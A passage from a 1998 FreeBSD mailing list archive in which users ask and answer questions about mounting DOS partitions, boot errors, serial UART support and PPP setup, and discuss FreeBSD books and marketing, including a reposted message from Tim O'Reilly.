Re: Linux on the npr's All Things Considered >Here's the archived URL: > >http://www.npr.org/programs/atc/archives/1998/980408.atc.html > >Regards, >Denny Reiter >denny@kewanee.net >ICQ # 823496 >"Remember: Wherever you go; There you are." >-----Original Message----- >From: original man >To: freebsd-questions@FreeBSD.ORG >Date: Thursday, April 09, 1998 6:08 PM >Subject: Linux on the npr's All Things Considered > > >>Did anyone catch the piece on National Public Radio's All Things Considered >about Linux. >>If you you have real audio you can get the interview at this URL >> >> http://www.npr.org/programs/atc/archives/1998/current.html >>Not sure how long it'll be there as they update their current.html >everyday. >> >>Here's a short synopsis >> >> Linux OS -- Windows is the dominant operating system that makes computers >do >> what they do when you tell them to. But there's another >operating system that's free >> -- the creation of a Finnish programmer who put it out on the >world wide web and >> invited any and all to improve it. The resulting >"committee-written" system is >> finding favor with more and more computer-savvy users >worldwide. And it's free. >> NPR's Dan Charles reports on Linux's founder and how his >creation is faring. >> (8:15) >>It was interesting to say the least >> >>i'khala >> >> >>To Unsubscribe: send mail to majordomo@FreeBSD.org >>with "unsubscribe freebsd-questions" in the body of the message >> > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 07:53:43 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA19499 for freebsd-questions-outgoing; Fri, 10 Apr 1998 07:53:43 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from sole.fastnet.it (sole.fastnet.it [195.96.192.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA19463 for ; Fri, 10 Apr 1998 07:53:34 -0700 (PDT) (envelope-from MARKING@bmp-group.it) Received: from server-ibm-mca (jes1a-02.fastnet.it [195.96.196.130]) by sole.fastnet.it (8.8.5/8.8.5) with SMTP id QAA18251 for ; Fri, 10 Apr 1998 16:53:19 +0200 (MET DST) Message-Id: <3.0.3.32.19980410165006.008f9640@pop.ac.fastnet.it> X-Sender: bmpmcid7@pop.ac.fastnet.it (Unverified) X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.3 (32) Date: Fri, 10 Apr 1998 16:50:06 +0100 To: faq@FreeBSD.ORG From: "INFdsfsdO@bmp-group.it" Subject: floppy Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG when i mount my floppy disk i get "incorrect suberblok To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 07:55:29 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA20240 for freebsd-questions-outgoing; Fri, 10 Apr 1998 07:55:29 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ix.netcom.com (sil-wa2-23.ix.netcom.com [206.214.137.55]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA20064 for ; Fri, 10 Apr 1998 07:55:10 -0700 (PDT) (envelope-from tomdean@ix.netcom.com) Received: (from tomdean@localhost) by ix.netcom.com (8.8.8/8.8.8) id HAA02447; Fri, 10 Apr 1998 07:54:50 -0700 (PDT) (envelope-from tomdean) Date: Fri, 10 Apr 1998 07:54:50 -0700 (PDT) Message-Id: <199804101454.HAA02447@ix.netcom.com> From: Thomas Dean To: nuts@oreilly.com CC: questions@FreeBSD.ORG Subject: FreeBSD + O'Reilly Books Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Dear Sirs: I have eleven O'Reilly books on the shelf in front of me. I have a pointer to the O'Reilly web page. When I need a book for a project or other computing interest, I look at O'Reilly. I frequently scan the O'Reilly books in the book store. I would purchase books on FreeBSD from O'Reilly, if they were available. Please make FreeBSD books available through your organization. Please encourage authors to write FreeBSD books for your publication. Thank you, tomdean To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 08:16:48 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA25027 for freebsd-questions-outgoing; Fri, 10 Apr 1998 08:16:48 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from Kitten.mcs.com (Kitten.mcs.com [192.160.127.90]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA25018 for ; Fri, 10 Apr 1998 08:16:43 -0700 (PDT) (envelope-from jrs@Venus.mcs.net) Received: from Venus.mcs.net (jrs@Venus.mcs.net [192.160.127.92]) by Kitten.mcs.com (8.8.7/8.8.2) with ESMTP id KAA01264; Fri, 10 Apr 1998 10:16:42 -0500 (CDT) Received: from localhost (jrs@localhost) by Venus.mcs.net (8.8.7/8.8.2) with SMTP id KAA15390; Fri, 10 Apr 1998 10:16:41 -0500 (CDT) Date: Fri, 10 Apr 1998 10:16:41 -0500 (CDT) From: "J.R.S. II" To: Thomas Dean cc: freebsd-questions@FreeBSD.ORG Subject: Re: FreeBSD + O'Reilly Books In-Reply-To: <199804101454.HAA02447@ix.netcom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG The book they did on the apache web server was freebsd based > Dear Sirs: > I have eleven O'Reilly books on the shelf in front of me. I have a > pointer to the O'Reilly web page. When I need a book for a project or > other computing interest, I look at O'Reilly. I frequently scan the > O'Reilly books in the book store. > I would purchase books on FreeBSD from O'Reilly, if they were available. > Please make FreeBSD books available through your organization. Please > encourage authors to write FreeBSD books for your publication. > Thank you, > tomdean To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 08:50:14 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA02218 for freebsd-questions-outgoing; Fri, 10 Apr 1998 08:50:14 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ms11.hinet.net (root@ms11.hinet.net [168.95.4.11]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA02202 for ; Fri, 10 Apr 1998 08:50:09 -0700 (PDT) (envelope-from jwlo@ms11.hinet.net) Received: from ms11.hinet.net (h137.s8.ts32.hinet.net [163.32.8.137]) by ms11.hinet.net (8.8.8/8.8.8) with ESMTP id XAA15605 for ; Fri, 10 Apr 1998 23:52:29 +0800 (CST) Message-ID: <352E3EDB.18FA987B@ms11.hinet.net> Date: Fri, 10 Apr 1998 23:46:35 +0800 From: Doug Lo Reply-To: jwlo@ms11.hinet.net X-Mailer: Mozilla 4.05 [en] (Win95; I) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: How to mount dos partition? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, folks, Would anyone tell me how to mount dos partition? My /etc/fstab file is below: /dev/wd0s2b none swap sw 0 0 /dev/wd0s2a / ufs rw 1 1 /dev/wd0s1 none msdos ro 0 0 /dev/wd0s2f /usr ufs rw 1 1 /dev/wd0s2e /var ufs rw 1 1 proc /proc procfs rw 0 0 /dev/wcd0c /cdrom cd9660 ro,noauto 0 0 Best regards, Doug. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 08:55:36 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA03516 for freebsd-questions-outgoing; Fri, 10 Apr 1998 08:55:36 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from jason02.u.washington.edu (root@jason02.u.washington.edu [140.142.76.8]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA03509 for ; Fri, 10 Apr 1998 08:55:28 -0700 (PDT) (envelope-from jcwells@u.washington.edu) Received: from saul4.u.washington.edu (root@saul4.u.washington.edu [140.142.83.2]) by jason02.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id IAA32538 for ; Fri, 10 Apr 1998 08:55:20 -0700 Received: from s8-37-26.student.washington.edu (S8-37-26.student.washington.edu [128.208.37.26]) by saul4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with SMTP id IAA00167 for ; Fri, 10 Apr 1998 08:55:19 -0700 (PDT) Date: Fri, 10 Apr 1998 07:54:07 -0700 (PDT) From: "Jason C. Wells" X-Sender: jason@s8-37-26.student.washington.edu Reply-To: "Jason C. Wells" To: FreeBSD-questions Subject: Tim O'Reilly talking about Windows Books Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Posted due to popular demand. This was gleaned from usenet. There is no need to CC: me in any discussion about Mr. O'Reilly's comments. This is simply for your edification. Have fun, | Stop warning me about the latest virus. Learn more... Jason Wells | http://ciac.llnl.gov/ciac/CIACHoaxes.html >From tim@ora.com Sun Apr 5 20:46:04 1998 Date: Thu, 29 Jan 1998 04:23:28 -0800 From: Tim O'Reilly Cc: tim@ora.com Newsgroups: comp.os.linux.advocacy, comp.unix.advocacy Subject: Re: ORA - so much for loyalty... Bill Vermillion wrote: > > In article <6aj20v$9ht$3@shadow.skypoint.net>, > Jamie Hoglund wrote: > >In comp.os.linux.advocacy Bob Nelson wrote: > >: You'd think that as often as he's been screwed over by the gang from > >: Redmond that Tim would realize that he ought to ``dance with the > >: gal whut brung him''. ORA has a large and loyal following in the Unix > >: community -- but his embracing of all things from Micro$quish puts > >: that in serious jeopardy. Someone brought this thread to my attention, and I thought I'd respond directly. 1) We have most definitely NOT abandoned UNIX and open systems. We do the definitive books on virtually every area of freeware and open systems. That includes most of the programs that make this whole shebang work--DNS/Bind, Sendmail, Perl, Linux, Apache--as well as all the non-Internet related UNIX software we've always done books for. We have EXPANDED our line. We are now trying to bring enlightenment to the heathen, so to speak. We are definitely not sucking up to Microsoft. If we were, why would we have hired perennial Microsoft thorn-in-the-side Andrew Shulman to be our chief windows book editor? Our goal is to get under the hood, to get people to question authority, and to fix what's broken, just like they do in the UNIX world. We have this whole series called "Annoyances" (Windows 95 Annoyances, Word Annoyances etc.) that helps people to do all the things MS doesn't like them to do. Or take our NT publishing program. All of our NT admin books show people how to subvert the GUI, how to automate things with Perl. We're bringing the freeware spirit to MS, not caving in to MS. As someone once said, "sunlight is the best disinfectant." Good information helps people to do good work. So please try to get off the binary "if they are doing stuff on Microsoft they've abandoned us." We're also doing books on other platforms--the BeOS, the PalmPilot, even the Mac (e.g. the popular freeware tool, Frontier). Obviously, you can consider the web as a platform as well. We also have a whole series of books on Java, and on Oracle. We see our books on Windows as entirely consistent with our whole history of publishing: we try to give good, honest information that empowers users. As we grow as a company, we're doing that for more and more platforms. 2) Someone else mentioned that Windows books were in the front of the catalog, with UNIX and Linux moved to the back. As a matter of fact, as we've reinvigorated our direct mail efforts, we have a whole bunch of different direct mail catalogs, which rotate different books to the front depending on which list we're testing. We are definitely doing a big campaign to persuade windows users of the value of O'Reilly. But we are doing just as much or more for other communities. For example, both our Perl and Java programs are way higher priority for us, with more books, more marketing dollars, and more focus than Windows. Heck, we've even organized a Perl conference (going on to the second this year...see us in San Jose in August!) to help promote the language. At the same time, we'd be silly to ignore the boys from Redmond. I've been talking to press a lot lately on the heels of the Netscape source code announcement, because I'm one of the most visible spokespeople for the importance of free software. One of the things I heard myself saying is that the free software communities are the hidden "third leg" of the software industry tripod. Microsoft is one leg. Everyone else commercial is the other. And freeware is the third. So I guess I have to turn that around for you guys. We started out with the freeware leg. But if we want to become the dominant computer book publisher (a job we're well on the way towards), we need to serve the entire market, not just one part of it. But mainly what I want to get across is that information has no "color" (to steal an analogy from race relations). People who use Microsoft platforms are just as much in need (actually in more need) of the high quality, objective technical information that is the core of our business. As I said above, think of our Microsoft publishing as "missionary work." :-) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 08:59:11 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA04217 for freebsd-questions-outgoing; Fri, 10 Apr 1998 08:59:11 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from serv.unibest.ru (serv.unibest.ru [194.87.33.9]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id IAA04084 for ; Fri, 10 Apr 1998 08:59:02 -0700 (PDT) (envelope-from osa@unibest.ru) Received: (qmail 24666 invoked from network); 10 Apr 1998 15:04:09 -0000 Received: from unknown (HELO hole.etrust.ru) (192.168.30.2) by serv.unibest.ru with SMTP; 10 Apr 1998 15:04:09 -0000 Date: Fri, 10 Apr 1998 20:00:45 +0400 (MSD) From: Ozz!!! X-Sender: osa@hole.etrust.ru To: Doug Lo cc: freebsd-questions@FreeBSD.ORG Subject: Re: How to mount dos partition? In-Reply-To: <352E3EDB.18FA987B@ms11.hinet.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 10 Apr 1998, Doug Lo wrote: > Hi, folks, > > Would anyone tell me how to mount dos partition? > My /etc/fstab file is below: > /dev/wd0s2b none swap sw 0 0 > /dev/wd0s2a / ufs rw 1 1 > /dev/wd0s1 none msdos ro 0 0 > /dev/wd0s2f /usr ufs rw 1 1 > /dev/wd0s2e /var ufs rw 1 1 > proc /proc procfs rw 0 0 > /dev/wcd0c /cdrom cd9660 ro,noauto 0 0 > > Best regards, > Doug. > if your DOS-partition not in /etc/fstab, try follwing : # mkdir # mount_msdos /dev/ Doug ( i think ) type following : # mkdir /dos # mount_msdos /dev/wd0s1 /dos All. Rgdz, oZZ, osa@unibest.ru To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 09:20:19 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA07805 for freebsd-questions-outgoing; Fri, 10 Apr 1998 09:20:19 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail.inconnect.com (mail.inconnect.com [209.140.64.7]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id JAA07626 for ; Fri, 10 Apr 1998 09:19:59 -0700 (PDT) (envelope-from davem@inconnect.com) Received: (qmail 14354 invoked from network); 10 Apr 1998 16:19:55 -0000 Received: from 1-9.dialup.inconnect.com (HELO dave) (209.140.67.8) by mail.inconnect.com with SMTP; 10 Apr 1998 16:19:55 -0000 Message-ID: <000901bd649b$dd8dad00$08438cd1@dave> From: "David Martinsen" To: Subject: boot.config and boot.help Date: Fri, 10 Apr 1998 10:15:19 -0600 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0006_01BD6469.90D27FE0" X-Priority: 1 X-MSMail-Priority: High X-Mailer: Microsoft Outlook Express 4.72.2106.4 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0006_01BD6469.90D27FE0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I ran the installation from a dos partition on a 2nd HDD which I later = removed from the system.=20 The installation copied all of the files and I did not see any error = messages, however, after exiting the setup and rebooting I get the error = message 'can't find file boot.config' and 'can't find file boot.help', = and after that I get the 'boot:' prompt and the only message that I can = get with that is 'can't find kernel'.=20 The current boot default is 0:wd(0,a)kernel and i have tried every = combination that i know of thinking that the kernel maybe on a different = partition. What should/can I do?? Dave Martinsen davem@inconnect.com ------=_NextPart_000_0006_01BD6469.90D27FE0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
I ran the installation from a dos partition on a 2nd = HDD which=20 I later removed from the system.
 
The installation copied all of the files and I did = not see any=20 error messages, however, after exiting the setup and rebooting I get the = error=20 message 'can't find file boot.config' and = 'can't find=20 file boot.help', and after that I get the 'boot:' prompt and = the only=20 message that I can get with that is 'can't find = kernel'.=20
 
The current boot default is 0:wd(0,a)kernel and i = have tried=20 every combination that i know of thinking that the kernel maybe on a = different=20 partition.
 
What should/can I do??
 
Dave Martinsen
davem@inconnect.com
------=_NextPart_000_0006_01BD6469.90D27FE0-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 09:39:46 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA09933 for freebsd-questions-outgoing; Fri, 10 Apr 1998 09:39:46 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from voicenet.com (mail11.voicenet.com [207.103.0.37]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id JAA09679 for ; Fri, 10 Apr 1998 09:38:23 -0700 (PDT) (envelope-from schwenk@voicenet.com) Received: (qmail 29216 invoked from network); 10 Apr 1998 16:38:13 -0000 Received: from omni1.voicenet.com (207.103.0.31) by mail11.voicenet.com with SMTP; 10 Apr 1998 16:38:13 -0000 Received: (qmail 15105 invoked by uid 14559); 10 Apr 1998 16:38:11 -0000 Date: Fri, 10 Apr 1998 12:38:10 -0400 (EDT) From: Peter Schwenk X-Sender: schwenk@omni1 To: Jason Nordwick cc: Frank Pawlak , toor@dyson.iquest.net, brett@lariat.org, mike@smith.net.au, dshanes@personalogic.com, hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re: Re[2]: Fw: Your Article "Freeware: The Heart & Soul of the Internet" In-Reply-To: <19980410011618.25209.qmail@xcf.berkeley.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Just as a data point... I thought it was a good start that I saw copies of "The Complete FreeBSD, 2nd Ed." with the CDs and all in a large chain bookstore, Borders Books and Music. Now, if it spreads to the book sections of large computer stores, like I've seen Linux do, we'll be getting somewhere. In my opinion, FreeBSD's just beginning to ramp up it's mindshare, but it needs a significant boost if it is going to compete with Linux. Every chance I get, I tell any interested parties about FreeBSD. Although I find FreeBSD fairly simple to install, I think if it is going to ever make any serious inroads, it will need simpler setup schemes for things like window managers. People like GUIs, and I found getting a decent setup running a bit of a chore. I hate bringing up RedHat (the Linux distribution with which I am most familiar), but they have a decent window manager setup right out of the box (even though it sorta looks like Win95). I think if the FreeBSD team spends a bit more time with making the GUI setup a bit more brainless, then it will make it easier to recommend to quasi-newbies. On 10 Apr 1998, Jason Nordwick wrote: > > Frank Pawlak, on Thu 4/9/1998, wrote the following: > > > > Such is true. I am a "newish" FreeBSD user and SuSE Linux reseller. I > > see a ready market for free "low cost" software in college bookstores, > > particularly those universities that have computer engineering and > > comsci departments. Part of evangelism is marketing and market > > presence. Having this OS on display at universities will attract a > > young audience the very people that are evangelizing Linux. > > Frank > > > > Would it be possible to have the Walnut Creek CDs in computer/bookstores, > as I see the Linux CDs ? > > What would this take, just calling and marketing ? > > jay > -- > Join the FreeBSD Revolution. > Support the FSF, buy GNU. > http://xcf.berkeley.edu/ > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > - Peter Schwenk - schwenk@voicenet.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 09:55:43 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA11487 for freebsd-questions-outgoing; Fri, 10 Apr 1998 09:55:43 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from dbtsvr1.dbtech.net (dbtsvr1.dbtech.net [204.214.208.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA11478 for ; Fri, 10 Apr 1998 09:55:34 -0700 (PDT) (envelope-from jeremyt1@dbtech.net) Received: from dbtech.net (max2-tcl-89.dbtech.net [204.214.214.89]) by dbtsvr1.dbtech.net (8.8.6/8.8.6) with ESMTP id LAA02046 for ; Fri, 10 Apr 1998 11:58:41 -0500 (CDT) Message-ID: <352E4F34.8F2D3C74@dbtech.net> Date: Fri, 10 Apr 1998 11:56:20 -0500 From: Jeremy Tillis X-Mailer: Mozilla 4.04 [en] (Win95; U) MIME-Version: 1.0 To: freebsd-questions Subject: 16650 UART Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I am very new to FreeBSD. I want to use an external ISDN terminal adapter, so I purchased a Byte Runner 16650 UART serial card, after seeing users having success using it in the mailing list archives. However, when I boot the box, it detects the serial port as a 16550A port, not a newer 16650 port. How do I add support for the 16650 UART? I'm running FreeBSD 2.2.5 RELEASE. Any help would be greatly appreciated. ------------------------ Jeremy Tillis jeremyt1@dbtech.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 10:04:01 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA12373 for freebsd-questions-outgoing; Fri, 10 Apr 1998 10:04:01 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail.impulse.net (mail.impulse.net [204.188.6.10]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id KAA12331 for ; Fri, 10 Apr 1998 10:03:56 -0700 (PDT) (envelope-from mike@merchantsnet.com) Received: (qmail 11598 invoked from network); 10 Apr 1998 17:03:55 -0000 Received: from sb1-52.impulse.net (HELO 708644668) (204.188.6.52) by mail.impulse.net with SMTP; 10 Apr 1998 17:03:55 -0000 From: "Michael P. Sale" To: Subject: PPP frustrations!! Date: Fri, 10 Apr 1998 10:00:42 -0700 Message-ID: <01bd64a2$32235da0$3406bccc@708644668> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.71.1712.3 X-MimeOLE: Produced By Microsoft MimeOLE V4.71.1712.3 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi all, Thanks to all that sent a few things my way. I had managed to get ppp working to the point where it would place the call and connect using PAP( I love the ppp.log file). I was still having trouble getting routing working, but thats the next email. :-) So, last night, ppp is connecting and PAP seems to be working fine. After doing a manual # route delete default # route add default I could ping to my hearts content. (DNS awaits too) I get up this morning, ready to tackle routing and DNS and what happens: # ppp User Process PPP. Written by Toshiharu OHNO. OpenTunnel: Can't find ifindex. open_tun: No such file or directory # ppp The tail of the /var/log/ppp.log is filled with this: (I tried ppp a few times) Apr 10 08:24:06 yikes ppp[182]: tun0: Error: OpenTunnel: Can't find ifindex. Apr 10 08:24:14 yikes ppp[183]: tun0: Error: OpenTunnel: Can't find ifindex. Apr 10 08:25:15 yikes ppp[188]: tun0: Error: OpenTunnel: Can't find ifindex. Apr 10 08:26:58 yikes ppp[199]: tun0: Error: OpenTunnel: Can't find ifindex. Apr 10 08:28:55 yikes ppp[209]: tun0: Error: OpenTunnel: Can't find ifindex. Apr 10 08:29:17 yikes ppp[211]: tun0: Error: OpenTunnel: Can't find ifindex. Apr 10 08:29:58 yikes ppp[212]: tun0: Error: OpenTunnel: Can't find ifindex. Apr 10 08:30:42 yikes ppp[217]: tun0: Error: OpenTunnel: Can't find ifindex. Apr 10 08:33:28 yikes ppp[220]: tun0: Error: OpenTunnel: Can't find ifindex. Anything is possible, but I do not think I changed anything. I am running 2.2.5 off the CD. Generic Kernel. All info & thoughts would be GREATLY appreciated. Thanks, Mike ---------------------------------------------- Michael P. Sale MerchantsNet.Com mike@merchantsnet.com www.merchantsnet.com ---------------------------------------------- "Humility has no equal in the battle for knowledge" -- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 10:16:40 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA13690 for freebsd-questions-outgoing; Fri, 10 Apr 1998 10:16:40 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from java.dpcsys.com (java.dpcsys.com [206.16.184.7]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA13658 for ; Fri, 10 Apr 1998 10:16:29 -0700 (PDT) (envelope-from dan@dpcsys.com) Received: from localhost (dan@localhost) by java.dpcsys.com (8.8.7/8.8.5) with SMTP id KAA07823; Fri, 10 Apr 1998 10:16:27 -0700 (PDT) Date: Fri, 10 Apr 1998 10:16:27 -0700 (PDT) From: Dan Busarow To: Jeremy Tillis cc: freebsd-questions Subject: Re: 16650 UART In-Reply-To: <352E4F34.8F2D3C74@dbtech.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 10 Apr 1998, Jeremy Tillis wrote: > However, when I boot the box, it detects the serial port as a 16550A port, > not a newer 16650 port. > > How do I add support for the 16650 UART? I'm running FreeBSD 2.2.5 RELEASE. The sio driver has a section that tests for a Startech 16C650, its ifdef'd out though so is not in the system by default. I have no idea if it's safe to do so (can't be all that dangerous :) but you could try changing the #if 0 to #if 1 in /usr/src/sys/i386/isa/sio.c and build a new kernel. Dan -- Dan Busarow 714 443 4172 DPC Systems / Beach.Net dan@dpcsys.com Dana Point, California 83 09 EF 59 E0 11 89 B4 8D 09 DB FD E1 DD 0C 82 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 10:23:26 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA14844 for freebsd-questions-outgoing; Fri, 10 Apr 1998 10:23:26 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from general1.consumersedge.com (mail.personalogic.com [208.213.67.3]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA14694; Fri, 10 Apr 1998 10:22:15 -0700 (PDT) (envelope-from dshanes@personalogic.com) Received: from SHANES by general1.consumersedge.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.0.1458.49) id 2PDPYFD3; Fri, 10 Apr 1998 10:22:55 -0700 Message-ID: <007501bd64a4$85095f40$1d43a8c0@shanes.personalogic.com> From: "David Shanes" To: "Jordan K. Hubbard" , "Brett Glass" Cc: , Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" Date: Fri, 10 Apr 1998 10:17:20 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.2106.4 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG OK, I know that you are all still trying to figure out who I am and why I jumped on the bandwagon. Although I use NT at work (blame them, not me) I love Unix and use it in school while I am working on my MS at San Diego State University. I am still a newbie to FreeBSD and have it installed on the better half of my laptop's hard drive. Here are my observations: 1. Brett - You seem to be the industry trend man. I have realized this ever since I have been reading your columns and, recently, your e-mail. Do you get advance notice of events like this, or is it all hind sight? YES - we should have been there at the Silicon Valley Linux UG meeting. YES - we should have been at Tim O'Reilly's summit. But we weren't. I know San Diego has a ComputoEdge magazine (also in Colorado) that lists all User Groups and meeting info. 2. Marc Andreesen may not have answered my letter, but Tim O'Reilly did. OK, so maybe we will never get Gates, Andreesen, McNealy, etc.. to push FreeBSD, but what about O'Reilly, David Filo (Yahoo!), etc? 3. If we start FreeBSD User Groups, maybe we can get the people in #2 to come and take advantage of the press. 3. At school (SDSU), the professor that runs the CS networks just switched most of the department's teaching computers from Solaris to FreeBSD. Solaris said that they would release the source code to the school for classes like "Advanced Operating Systems" and "Writing Device Drivers", but they didn't - so they lost out. If we have CS majors using it in college - how can we get them to carry FreeBSD out in to the "real world" after graduation? My two cents.... David _____________________________________________________ David Shanes 7535 Metropolitan Drive dshanes@personalogic.com San Diego, CA 92108 Database Developer (619) 220-5800 x228 PersonaLogic, Inc. (619) 220-5899 (fax) http://www.PersonaLogic.com -----Original Message----- From: Jordan K. Hubbard To: Matthew D. Fuller Cc: David Shanes ; Brett Glass ; hackers@FreeBSD.ORG Date: Friday, April 10, 1998 12:57 AM Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" >> Where do I sign up? >> "FreeBSD Marketing: Who Do You Want To Picket And Beat To Death With Stats >> Today?" > >Heh, you joke, but Mike Smith and I were kicking ourselves today >thinking "DAMN! After that big Linux user's group meeting, a big bus >went up to the Mozilla party several times with busloads of Linux >advocates and what a wasted opportunity! We could have had a guy in a >Chuck costume standing there, handing out FreeBSD CDs (along with a >little pamphlet describing how a Linux user might evaluate and >possibly transition to FreeBSD) to each person getting off the bus. >Damn damn damn! We suck at marketing!" > >Our comments were 